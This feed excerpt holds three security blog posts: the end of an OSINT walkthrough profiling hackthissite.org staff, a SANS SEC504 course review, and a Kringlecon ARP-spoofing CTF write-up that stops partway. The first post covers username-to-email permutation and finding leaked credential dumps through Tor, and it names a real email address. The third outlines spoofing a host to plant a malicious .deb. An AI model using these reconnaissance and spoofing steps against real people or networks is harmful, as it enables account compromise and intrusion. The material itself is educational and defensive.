collected data to seed additional searches.</p><p>The image below is from a SpiderFoot scan, showing you all the different pieces of information gathered and how their interlinked; like a spider’s web.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*ZcX70fFfptZho5ziqhKvHg.png" /></figure><p><a href="https://www.spiderfoot.net/">SpiderFoot</a> automates collecting information about IP addresses, domain names, e-mail addresses, usernames, names, subnets, etc. and comes with an opensource version. This tool allows you to examine any suspicious IPs, phishing scam e-mail addresses, and HTTP headers (which can be parsed to reveal OS and software version numbers, etc.). It’s also useful to organizations for monitoring any information that’s been made public inadvertently.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*cHY_AP1aHgedPqwoPk-8FQ.png" /></figure><p>This is a simple interface where we can also browse the various types of scans as well:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*KIvwbsgOAScUfVR_5KRdlQ.png" /></figure><p>As an example, if we select Usernames and Human, we can gather a list of users:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*knbhsreVCVqup1lR3v07og.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*cIi48wajfAWNhl0UNFP-Ag.png" /></figure><p>Obviously some of this information is bogus unless there actually is an Abraham Lincoln hanging about currently.</p><p>What we can actually do with this information is then generate a list of potential passwords, based on text associated within the hackthissite.org website using a tool called <a href="https://github.com/digininja/CeWL">Cewl</a>, a custom wordlist generator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*E32W515PvhmjBQtqE0li4w.png" /></figure><p>With this information, an adversary could then potentially perform a dictionary or password spray attack, dependent on the account lockout policies it has in place.</p><h4>3.8 — Getting to know the target</h4><p>There are some great websites out there to know more about these users outside of hackthissiteorg. One of these is whatsmyname which allows you to type in the username and find any other accounts associated with the username:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*mtuJ906AV9dp4L-xTfi9AA.png" /></figure><p>Here we can see there are 10 accounts from a list of 273 found. We can pivot this further using a tool called usernames.py which finds a list of potential usernames associated with a full name:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*mZi0nlK7N4YFxKtvGdVbuw.png" /></figure><p>Using this list we could then permutate a list of emails:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*qroDNI-EVYNR3bO1sj0wiA.png" /></figure><p>And finally, we can verify them using proofy:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*rdo3y9RgO-ImR1WKQSMt5Q.png" /></figure><h4>3.9 — Shodan</h4><p><a href="https://www.sans.org/blog/getting-the-most-out-of-shodan-searches/">Shodan</a>, which stands for Sentient Hyper Optimized Data Access Network, is a search engine for interconnected devices, which allows you to search for IoT/SCADA devices, routers, traffic cameras, and more.</p><p>Shodan search attempts to grab data such as the service, software, version number, or other information from the ports it scans. The tool comes with filters such as country, port, operating system, product, version, hostnames, etc. that helps narrow down the results. It displays a vast amount of insecure information that’s freely available and access to web interfaces of IoT devices with weak or default passwords, devices like webcams at people’s homes, and other unsecured appliances.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*G6iEcVh7JU1A736EqeaELA.png" /></figure><p>Pentester can use Shodan to find insecure web services while conducting vulnerability assessments. The tool comes with a free plan that offers a limited number of scans, or you have the option of using a paid version. However, organizations can request to block Shodan from crawling their network.</p><p>Shodan offers capability to research or even attack other sites and even links to internet scanning webpages (traceroute, ping, port scans, DoS tests). Can perform DNS lookups, reverse lookups, traceroutes, and a variety of other valuable services. These tools can be interesting to experiment with, remembering that it is the remote website that is performing the reconnaissance scanning or attacking, creating a level of indirection between you and the target website.</p><p>One of the main tenets for an adversary is to not get caught. An attacker does this via sites like Shodan. An online service that crawls the internet in much te same way Google crawls web pages. <strong>Instead of reading and indexing web page text like Google, it indexes service banners. </strong>Banners for services like FTP, Telenet and nmap will have a unique signature to identify that service, vendor and version number. All an attacker needs to do is search for a string associated with a service and vendor and Shodan will display its cached results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bISkbqW6npmfvcPHa7Pj6Q.png" /></figure><p>Here you can see we’ve gathered information on hackthissite.org around open ports, services, etc.</p><h4>3.10 — Maltego</h4><p>Maltego is a unique platform developed to deliver a clear threat picture to the environment that an organisation owns and operates. Maltego’s unique advantage is to demonstrate the complexity and severity of single points of failure as well as trust relationships that exist currently within the scope of your infrastructure.</p><p>Maltego is a program that can be used to determine the relationships and real world links between people, groups of people (social networks), companies, organisations, web sites, DNS Names, IP addresses, and much much more.</p><p>Through manual analysis, we can build up a picture of hackthissite.org to find information like users and map these to email addresses:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*YpS_k8M26BWNi_XTm2DCIQ.png" /></figure><p>After conducting your own investigation, you’ll be able to build an interconnected network of information like the below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*eu1hcumrmP6DIQBvMp9-9A.png" /></figure><p>Furthermore, Maltego has Transforms (or modules) which can be used to find additional information, leveraging Malware Information Sharing Platforms (MISPs), public user databases and much much more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8XVcNvqInUfcWxINogp50w.png" /></figure><h4>3.11 — Hunter.IO</h4><p>Another fantastic tool is hunter.io, which with a free account you can find email accounts that have been indexed across numerous public sources.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*sQLUc6tPNlHfLSt7NbqkfA.png" /></figure><h4>3.12 — HaveIBeenPwned Credential Dumps</h4><p><strong>Have I Been Pwned?</strong> is a website that allows Internet users to check whether their personal data has been compromised by data breaches. The service collects and analyses hundreds of data dumps and pastes containing information about billions of leaked accounts, and allows users to search for their own information by entering their username or email address.</p><p>Have I Been Pwned doesn’t provide password information although lists breaches it’s associated with the account information. As an attacker this is useful information as it’s sometimes possible to collect usernames and passwords associated with the known breaches. Knowing the password used by the victim of a breach can be an easy way into a target network, simply through password reuse exposure. They also offer API services, making it possible to conduct account compromise searches for lists of users.</p><p>Below I search for data leakages associated with one of the accounts from the Hunter.IO scan; scram@hackthissite.org.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o_2aYYt5rKKFOgFubqYvFw.png" /></figure><p>If we scroll down we can see a leakage associated with credentials stolen:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*buExf13ZWNjLFbI6iRskXQ.png" /></figure><p>If we then go onto Tor browser, we can use search directives through unfiltered sites (like we saw in Use Case 2) to find a potential data dump:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*vm48ssLGrwo41VBH.png" /></figure><p>And bingo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*v20GOewkXxYoeZA4.png" /></figure><p>Obviously I won’t proceed from here…</p><h3>So again, why should Blue Teams care?</h3><p>So going back to why you should care…</p><p>A lot of information was gathered, and the key thing to note here is I tried to not go too deep with personal accounts but it would have been all the more straightforward finding things with the online footprint of the average person.</p><p>Once you find more information you have to process what to do with it and how you can find more information; in a cyclic rhythm.</p><p>Some of the key information that was gathered included (but not limited to):</p><p>•132 usernames</p><p>•68 associated IPs</p><p>•7 servers</p><p>•Password lists found for known users</p><p>•74 staff members</p><p>•Vulnerable versions of PDF readers found</p><p>•Personal accounts found where more information could’ve been gathered…</p><p>It’s also worth noting I picked a target where it’s more than likely the average user was security-aware and covered their tracks, much like we saw with that security analyst in the first use case. Imagine if this was for a different company/organisation with little-to-no security culture?</p><h3>OSINT Recon Preventatives</h3><p>There are many mitigating controls to help against OSINT recon attacks:</p><h4><strong>Preparation:</strong></h4><ul><li>Limit and control information — Periodically check various open sources of information to see if any information is leaking. Can be done by legal, security or public relations as all have a vested stake in protecting corporate information.</li><li>Know what information a company is giving away and perform risk analysis</li><li>Limit information on a website</li><li>Determine what other sites are linked to a company (use the search directive <em>link: </em>in Google</li><li>Create a security-aware culture within the team</li><li>Make/ensure internal DNS servers are in fact <strong>internal-facing</strong></li></ul><p>The question with employee awareness is difficult as it’s not always possible to mandate settings on personal profiles private, etc. so creating a security aware culture (e.g. mandatory trainings, phishing campaigns, etc.) will narrow the attack surface and likelihood of a foothold.</p><h4><strong>Identification:</strong></h4><ul><li>Look for web spider/crawler activity — have web admins and SOC analysts look through logs for an indication that someone has used a web spider (web crawler) to access each page on site in a short time (say 5 mins) most likely this activity is just the crawler of a search engine (like Google bot) from another source however could be pre-attack recon.</li><li>Logs show systematic access of entire website, page by page</li><li>That could simply be the Google bot or another search engine?</li></ul><p>Because many OSINT tools are publicly available, it’s an equal footing for potential hackers. But ultimately doing the same checks that attackers would do to see what business information is being exposed goes a long way.</p><p>And that wraps this up — As always, stay safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93134da0d485" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SEC504: Hacker Tools, Techniques, Exploits and Incident Handling — Review (2021)]]></title>
            <link>https://ellisstannard.medium.com/sec504-hacker-tools-techniques-exploits-and-incident-handling-review-2021-4736b247a761?source=rss-2324a68ec96b------2</link>
            <guid isPermaLink="false">https://medium.com/p/4736b247a761</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[san]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[gcih]]></category>
            <category><![CDATA[training]]></category>
            <dc:creator><![CDATA[Ellis S]]></dc:creator>
            <pubDate>Thu, 03 Jun 2021 16:28:52 GMT</pubDate>
            <atom:updated>2021-06-06T19:43:36.318Z</atom:updated>
            <content:encoded><![CDATA[<h3>SANS SEC504: Hacker Tools, Techniques, Exploits and Incident Handling — Course Review (2021)</h3><h3><strong>SANS provide a very clear pathway for Incident Response in their Cyber Security Map Pathway, starting off with SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling. Having literally just passed the GCIH (GIAC Certified Incident Handler) exam which complements the course, thought it only fair to share my views on the training, materials, labs and exam itself.</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8svHbrieTdH29b5fMQB7oA.png" /></figure><p>I was fortunate enough to be selected for the Work-Study program — this was designed to give participants a discounted pass in exchange for acting as a moderator of the classes. Given this was still during the height of the COVID-19 pandemic, this was done remotely and involved helping anyone set up shop, troubleshooting, managing recordings, managing the day schedules and liaising with the SANS team on a separate Slack Channel (and much more). In a nutshell, the purpose was to make it much easier for the instructor. My specific instructor was Chris Dale, who was an awesome lecturer and very good at explaining things, keeping the class uplifted and engaged. The difference between myself and classmates is that I would be a point of contact for any unattendances, hardware issues, discreprencies in the course/lab material, etc. etc.</p><h3>Overview</h3><p>As mentioned above, SEC504 — Hacker Tools, Techniques, Exploits, and Incident Handling, is as an introductory-level course to the Red &amp; Blue Teams of Penetration Testing and Incident Response. It sets you up to have an excellent foundational level of knowledge within this space walking through phases of an attacker lifecycle, thinking like an adversary, and how to conduct and detect some of the oldie-but-goldie attacks, and much more of course.</p><h3>Class Experience</h3><p>I was in a class of around 12 and this was part of a two-week course rather than the 1-week which are the standard length. This actually allowed me to soak in the information a lot more and given it was remote I was able to ask questions offline to Chris which really helped cement and answer a lot of questions/gaps in my knowledge.</p><p>As far as I’m aware remote sessions are still ongoing but I did find that I got a lot out of it being able to work form 2–3 monitors vs. just your laptop on the training week(s) in person. That also really helped with managing the moderator side whilst also being able to enjoy the classes.</p><p>That said, you’d still enjoy the classes in-person as the networking opportunities as well that come with that are excellent.</p><p>Furthermore being a moderator does actually give you the opportunity to develop important life/work skills such as facilitating large meetings and multitasking in fast-paced environments, so if anything it’s actually a win-win to do this!</p><h3>Structure and Content</h3><p>The course was made up of 6 sections totalling 33 labs (all on contained on two VMs), numerous cheat sheets, external articles, videos and documents. The material starts with an introduction to incident handling, touching on some of the foundations such as a very similar Incident Cycle to the NIST framework, Digital Investigations, Live Examinations, etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*2dP8-trxi_9_NlsCfHEJIA.png" /></figure><p>There are six books in total which comprised the structure of the 10 day course (and a huge book for lab notes), and this roughly worked out as 1 book every 2 days, where some days squeezed in more or less, and the final day was the Capture the Flag event:</p><ol><li>Incident Response and Computer Crime Investigations</li><li>Recon, Scanning, and Enumeration Attacks</li><li>Password and Access Attacks</li><li>Public-Facing and Drive-By Attacks</li><li>Evasive and Post-Exploitative Attacks</li><li>Capture the Flag Event (which I haven’t included in the image below)</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*03dKxkuNxK5PcUzj1y_egw.png" /></figure><h3>Labs</h3><p>As previously mentioned there are numerous labs to complement the content. These are done in two Virtual Machines (Windows 10 and Linux Slingshot) to help put theory into practice.</p><p>One thing I would say is that when going through the material, there may be opportunities to test some of the tools not included in the labs. I would recommend doing this to help cement the knowledge and fully understand them.</p><p>Furthermore, you can even access the lab questions in the VMs via FireFox over port 9001!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zjbfLZJSx4EeWpyyKu2NmA.png" /><figcaption>Slingshot</figcaption></figure><h3>Capture the Flag Event</h3><p>On the final day of the course was the SEC504 CTF Netwars Event, applying the skills learnt throughout the fortnight into a single day of challenges. This comprised of many different questions where we teamed up in groups of 3/4 in a score-based competition where first place team would win an achievement coin (similar to what they do in the military).</p><p>This was a fantastic opportunity to apply the skills learnt in class to a competition where teams could choose to take their time and learn the knowledge, or go full competitive and go for gold.</p><p>In the end my team and I ended up winning the event and got a nice coin as a result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/0*Uu6NY-kUx2GfmURg" /></figure><h3>Observations</h3><p>Over the two week stint, there were some key things that I noticed which contributed to this unique learning experience.</p><ol><li>Chris took on any feedback immediately — The feedback was consistently good and it was clear our class (including myself) really liked that he gave examples of industry experiences he had (just as one example) for various parts of the material. It really helped the teaching sink in for all of us and after day 1 of receiving this feedback, I noticed he made an effort to add more industry examples and personal experiences — believe it or not that actually helped me remember the material which was a real positive. There was additional material provided which was shared as well which helped build a bigger picture of the content.</li><li>SANS take it very seriously to be the best. They are an organisation driven to deliver the best cyber security training in the world and this really does make up for the cost. Being a moderator for the class, I felt like the rest of the SANS staff and myself worked together like a well-oiled machine to ensure that everyone was receiving the best experience they could. I really bought into that ethos and it made me more driven to help people as much as I could, even chipping in when I had experiences or things to add in the class.</li></ol><h3>What you should know</h3><p>Let me start from the beginning. Prerequisites are really not important if you work hard but you should at least have a foundational security and networking knowledge or you will be finding yourself googling a fair bit if you don’t have a faint idea of the main adversarial tools. Here are some tips from me to you:</p><ol><li>Index. Index. Index. When studying this follow <a href="https://www.ericooi.com/how-to-pass-sans-giac-certification-exams/">this guide </a>— in here it’ll explain that you need to read the material once, then index the course notes, before taking the two mock exams. This is how I did it and I can’t recommend it enough.</li><li>Don’t see this as a cert to fill a quota for a payrise or another job. This is something that Chris actually went through at the end and it was very positive to see him explain the importance in having a foundational knowledge in the cyber domain. This actually brings me onto the next point quite nicely:</li><li>Do the labs. If you’re going for GIAC Advisory Board especially (requiring 90%+ on your final score) then you’ll need to do them. There are just some parts of the practical section of the exam which are not included in books and will really help to go through them at least twice after the training.</li><li>If you’re working of a singular laptop, buy a monitor. You’ll save yourself a ton of time switching back and forth from notes/labs and in practice, and when responding to incidents you should be using at least two/three monitors anyway.</li><li>If you are curious about something in the books just Google it! This is how you get to become more and more knowledgeable.</li></ol><h3>Exam</h3><p>Now for the bit you’ve been waiting for. If you were like me and searching for some insight into what the exam was like, then you have come to the right place.</p><p>The exam is 4 hours long with 106 questions; these are split between 96 theory questions and 10 hands-on practical questions. They are all multiple choice but do not underestimate this. As I said before, you need to understand the material and you need to index thoroughly to succeed. Another tip is that the material in the CTF event (Book 6) has some excellent materials outside of the cheat sheets which I would recommend you have with you on exam day. Above all, time management is critical here.</p><p>I’d also recommend downloading and printing the parent-child process cheat sheet from <a href="https://www.sans.org/cyber-security-courses/advanced-incident-response-threat-hunting-training/">SANS FOR508</a> cheat sheet <a href="https://www.sans.org/security-resources/posters/dfir-find-evil/35/download">here</a> as it’s not included in SEC504 materials.</p><p>I learnt a lot from studying the material and it was enjoyable at times albeit tough. But if you study everything in the content and labs then you will be fine.</p><h3>Conclusion</h3><p>The verdict: 10/10 — This is a great course into the world of incident response and adversarial activity. It is both vast, thorough and worth the cost. It will provide you with a fantastic baseline of security, but the key message I must reiterate is that it is fully down to you what you use with it afterwards — but this is the same with all security certifications. Unless you are driven/passionate about the field and constantly in the technical space, your skills diminish and you have to relearn things. However, this is something that’s natural and we shouldn’t beat ourselves up about <em>too much</em>.</p><p>Overall, I really enjoyed the course and sitting the exam. It’s really pulled together many concepts that I was acquainted with, but looking at them as a collective from the perspective of an Attacker/Responder to get a greater understanding of the bigger picture, which is much like a game of cat and mouse.</p><p>In the end I scored a nice 90% which meant landing on the GIAC Advisory Board which is always a huge positive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LEn4Oby2gea5arLlwyFYLA.png" /></figure><p>What’s next you ask? Pub again.</p><p>As always, stay safe!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4736b247a761" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SANS Kringlecon 2020 — ARP Shenanigans]]></title>
            <link>https://ellisstannard.medium.com/sans-kringlecon-2020-arp-shenanigans-ed6aa9233e03?source=rss-2324a68ec96b------2</link>
            <guid isPermaLink="false">https://medium.com/p/ed6aa9233e03</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cyber]]></category>
            <dc:creator><![CDATA[Ellis S]]></dc:creator>
            <pubDate>Mon, 11 Jan 2021 09:06:20 GMT</pubDate>
            <atom:updated>2021-01-13T10:18:58.537Z</atom:updated>
            <content:encoded><![CDATA[<h3>SANS Kringlecon 2020 — ARP Shenanigans Writeup</h3><h3><strong>It’s that time of the year again; the 2020 SANS Holiday Hack Challenge, featuring KringleCon 3: French Hens! This year’s event had a total of 12 challenges with a wide range of activities, mainly Penetration Testing boxes although others such as Threat Hunting, Cryptography and even a bit of JavaScript training. There were many different tools provided within each challenge environment (such as Splunk, Amazon S3 bucket finders, CAN BUS traffic monitoring) requiring some foundational knowledge, alongside external research. As such, this is a writeup for Objective 9 — ARP Shenanigans.</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/308/1*ziBPPIiqXqPj0UudAgUvJQ.png" /></figure><p><strong>Question: Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who recused herself from the vote described on the document?</strong></p><h3>SPOILERS AHEAD:</h3><p>To start this question, you must have completed Objective 4 — ‘Operate the Santavator’, and acquired access to the NetWars room, as well as Objective — 5 ‘Open the HID lock’, to be Santa. To start, speak to Alastair Snowball, they will say to help them with a suspected ARP Spoofing attack. Hints for this are provided after completing the Scapy Prepper minigame, which is shown how to do below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/274/1*bDgBFzVVXMU-JzX9z1EzjQ.png" /></figure><h3>Scapy Prepper Minigame</h3><p>Open the Scapy Prepper UI. This is in <a href="https://scapy.readthedocs.io/en/latest/introduction.html">Scapy python</a> — this is a packet manipulation tool for computer networks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*V2d4z2hydyE9CvDTDtk5bg.png" /></figure><p>To see the tasks use task.get() and from here you will have to start the task using task.submit(‘answer’).</p><p><strong>1.</strong> <strong>Welcome to the “Present Packet Prepper” interface! The North Pole could use your help preparing present packets for shipment.</strong></p><p><strong>Start by running the task.submit() function passing in a string argument of ‘start’.</strong></p><p><strong>Type task.help() for help on this question.</strong></p><p>First answer pretty easy:</p><pre>task.submit(‘start’)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*evtFRGJ7mATrD8xdV7BIDA.png" /></figure><p><strong>2.</strong> <strong>Submit the class object of the scapy module that sends packets at layer 3 of the OSI module.</strong></p><p>The OSI Model is the Open Systems Interconnection Model used to describe functions of a networking system.</p><p>Third layer of this is Network focussing on packets, IP, ICMP, IGMP, etc.</p><p>The hint provided here is:</p><p>For example, task.submit(sendp) would submit the sendp scapy class used to send packets at layer 2 of the OSI model.</p><p>Scapy classes can be found <a href="https://scapy.readthedocs.io/en/latest/api/scapy.sendrecv.html">here</a>.</p><p>Sendp sends packets at layer 2. From what we can see in the URL provided is we need to send packets at layer 3:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/327/1*XpVeUp6Etvb1De0FUVbzmQ.png" /></figure><p>Therefore, using the same syntax as the example. Send sends the scapy calls out of a network interface:</p><p><strong>Answer:</strong></p><pre>task.submit(send)</pre><p><strong>3.</strong> <strong>Submit the class object of the scapy module that sniffs network packets and returns those packets in a list.</strong></p><p>Look for “Sniff packets and return a list of packets.” at the link <a href="https://scapy.readthedocs.io/en/latest/api/scapy.sendrecv.html">here</a>. There are two functions that do this; AsyncSniffer and sniff, the answer is sniff:</p><p><strong>Answer:</strong></p><pre>task.submit(sniff)</pre><p><strong>4.</strong> <strong>Submit the NUMBER only from the choices below that would successfully send a TCP packet and then return the first sniffed response packet to be stored in a variable named “pkt”:<br> 1. pkt = sr1(IP(dst=”127.0.0.1&quot;)/TCP(dport=20))<br> 2. pkt = sniff(IP(dst=”127.0.0.1&quot;)/TCP(dport=20))<br> 3. pkt = sendp(IP(dst=”127.0.0.1&quot;)/TCP(dport=20))</strong></p><p>● Sr1 Sends packets at layer 3 and returns only the first answer.</p><p>● Sendp sends packets at layer 2</p><p>● Sniff sniffs packets and returns a list of packets</p><p>Therefore it’s number 1.</p><p><strong>Answer:</strong></p><pre>task.submit(1)</pre><p><strong>5.</strong> <strong>Submit the class object of the scapy module that can read pcap or pcapng files and return a list of packets.</strong></p><p><strong>Hint:</strong></p><p>Look for “Read a pcap or pcapng file and return a packet list” at the link <a href="https://scapy.readthedocs.io/en/latest/api/scapy.utils.html">here</a>. Looking through this we see the below command:</p><p>scapy.utils.rdpcap(filename, count=- 1)</p><p>Read a pcap or pcapng file and return a packet list.</p><p><strong>Answer:</strong></p><pre>task.submit(rdpcap)</pre><p><strong>6.</strong> <strong>The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the choices below that correctly prints a summary of UDP_PACKETS:</strong></p><p><strong>1. UDP_PACKETS.print()</strong></p><p><strong>2. UDP_PACKETS.show()</strong></p><p><strong>3. UDP_PACKETS.list()</strong></p><p>From testing all the functions can see its 2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/516/1*hjARsOUMI4M0OgbuK5tiKg.png" /></figure><p>Answer:</p><pre>task.submit(2)</pre><p><strong>7.</strong> <strong>Submit only the first packet found in UDP_PACKETS.</strong></p><p><strong>Hint:</strong> You can specify an item from a list using “list_var_name[num]” where “num” is the item number you want starting at 0.</p><p>With this logic we can use:</p><p>UDP_PACKETS[0] for the first packet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*Heg39jTMfWc3bLqwyEc2MA.png" /></figure><p><strong>Answer:</strong></p><pre>task.submit(UDP_PACKETS[0])</pre><p><strong>8.</strong> <strong>Submit only the entire TCP layer of the second packet in TCP_PACKETS.</strong></p><p><strong>Hint:</strong> If you had a packet stored in a variable named pkt, you could access its IP layer using “pkt[IP]” — from link <a href="https://thepacketgeek.com/pyshark/packet-object/">here</a>.</p><p><strong>Answer:</strong></p><pre>task.submit(TCP_PACKETS[1][TCP])</pre><p><strong>9.</strong> <strong>Change the source IP address of the first packet found in UDP_PACKETS to 127.0.0.1 and then submit this modified packet.</strong></p><p>pkt[IP].dst = “10.10.10.10” would change the destination IP address of a packet in a variable named “pkt”. Use this method to modify the src IP and submit the changed packet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*6uXyITqkr57g48pgLpHiGw.png" /></figure><p><strong>Answer:</strong></p><pre>UDP_PACKETS[0][IP].src=”127.0.0.1&quot;<br>task.submit(UDP_PACKETS[0][IP])</pre><p><strong>10.</strong> <strong>Submit the password “task.submit(‘elf_password’)” of the user alabaster as found in the packet list TCP_PACKETS.</strong></p><p>You can access each packets Raw payload using TCP_PACKETS[0][Raw].load only incrementing 0 each packet (if that particular packet has a payload).</p><p><strong>Answer:</strong></p><pre>TCP_PACKETS[6][Raw].load</pre><p>This gives a response:</p><p><strong><em>b’PASS echo\r\n’</em></strong></p><pre>task.submit(‘echo’)</pre><p><strong>11.</strong> <strong>The ICMP_PACKETS variable contains a packet list of several icmp echo-request and icmp echo-reply packets. Submit only the ICMP chksum value from the second packet in the ICMP_PACKETS list.</strong></p><p><strong>Answer:</strong></p><pre>ICMP_PACKETS[1][ICMP].chksum</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*gfvRCyVNf0hXIwqeeDAXdA.png" /></figure><pre>task.submit(19524)</pre><p><strong>12.</strong> <strong>Submit the number of the choice below that would correctly create a ICMP echo request packet with a destination IP of 127.0.0.1 stored in the variable named “pkt”</strong></p><p><strong>1. pkt = Ether(src=’127.0.0.1&#39;)/ICMP(type=”echo-request”)</strong></p><p><strong>2. pkt = IP(src=’127.0.0.1&#39;)/ICMP(type=”echo-reply”)</strong></p><p><strong>3. pkt = IP(dst=’127.0.0.1&#39;)/ICMP(type=”echo-request”)</strong></p><p>As ICMP is at the Network layer alongside IP and DNS, this will be an IP based packet with a dst of 127.0.0.1.</p><p><strong>Answer:</strong></p><pre>task.submit(3)</pre><p><strong>13.</strong> <strong>Create and then submit a UDP packet with a dport of 5000 and a dst IP of 127.127.127.127. (all other packet attributes can be unspecified)</strong></p><p>Here is a good link on creating packets with scapy, link <a href="https://0xbharath.github.io/art-of-packet-crafting-with-scapy/scapy/creating_packets/index.html">here</a>.</p><pre>packet = Ether()/IP(dst=’127.127.127.127&#39;)/UDP(dport=5000)<br>task.submit(packet)</pre><p><strong>14.</strong> <strong>Create and then submit a UDP packet with a dport of 53, a dst IP of 127.2.3.4, and is a DNS query with a qname of “elveslove.santa”. (all other packet attributes can be unspecified)</strong></p><p>You can reference UDP_PACKETS[0] for a similar packet but don’t use this exact packet but create a new one. You can also reference this link <a href="https://0xbharath.github.io/art-of-packet-crafting-with-scapy/scapy/creating_packets/index.html">here</a>.</p><p><strong>Answer:</strong></p><pre>packet=Ether()/IP(dst=”127.2.3.4&quot;)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname=”elveslove.santa”))<br>task.submit(packet)</pre><p><strong>15.</strong> <strong>The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP response and then task.submit(ARP_PACKETS) for inspection.</strong></p><p>The three fields in ARP_PACKETS[1][ARP] that are incorrect are op, hwsrc, and hwdst. A sample ARP pcap can be referenced <a href="https://www.cloudshark.org/captures/e4d6ea732135">here</a>. You can run the “reset_arp()” function to reset the ARP packets back to their original form.</p><p>This is the request ARP:</p><p>&lt;ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=who-has hwsrc=00:16:ce:6e:8b:24 psrc=192.168.0.114 hwdst=00:00:00:00:00:00 pdst=192.168.0.1 |&gt;</p><p>We need to make the response header look like the request one. We can do this using the following commands in the image below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*nDIvMg606SRh6huBFYiyKw.png" /></figure><p>&lt;ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=00:13:46:0b:22:ba psrc=192.168.0.1 hwdst=00:16:ce:6e:8b:24 pdst=192.168.0.114 |&lt;Padding load=’\xc0\xa8\x00r’ |&gt;&gt;</p><p><strong>Answer:</strong></p><pre>ARP_PACKETS[1][ARP].op=&quot;is-at&quot;<br>ARP_PACKETS[1][ARP].hwsrc=&quot;00:13:46:0b:22:ba&quot;<br>ARP_PACKETS[1][ARP].hwdst=&quot;00:16:ce:6e:8b:24&quot;<br>task.answer(ARP_PACKETS)</pre><p>And that finishes the Scapy Prepper minigame!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*fLxNv29g2-FEzocU6LKRsg.png" /></figure><h3>Objective 9 — ARP Shenanigans</h3><p>After completing Scapy Prepper, we will receive the following hints from Alabaster Snowball:</p><p>● The host is performing an ARP request. Perhaps we could do a spoof to perform a machine-in-the-middle attack. I think we have some sample scapy traffic scripts that could help you in /home/guest/scripts</p><p>● The malware on the host does an HTTP request for a .deb package. Maybe we can get command line access by sending it a <a href="http://www.wannescolman.be/?p=98">command in a customized .deb file</a></p><p>● Jack Frost must have gotten malware on our host at 10.6.6.35 because we can no longer access it. Try sniffing the eth0 interface using tcpdump -nni eth0 to see if you can view any traffic from that host</p><p>● Hmmm, looks like the host does a DNS request after you successfully do an ARP spoof. Let’s return a DNS response resolving the request to our IP</p><p><strong>If we concatenate the motd file, we get additional information also:</strong></p><p>● Jack Frost has hijacked the host at 10.6.6.35 with some custom malware.</p><p>● Help the North Pole by getting command line access back to this host.</p><p>● Read the HELP.md file for information to help you in this endeavour.</p><p>● Note: The terminal lifetime expires after 30 or more minutes so be sure to copy off any essential work you have done as you go.</p><p>If we open the HELP.md file, we also get information about running a http server, sample pcaps on CloudShark for ARP and DNS, as well as some functions for tshark and tcpdump.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/311/1*0zYkyigqhy7XRTp6iG4F8Q.png" /></figure><p>Note that for this challenge, we need to utilise tmux (used in the minigame ‘Unescape Tmux’) which creates multisession 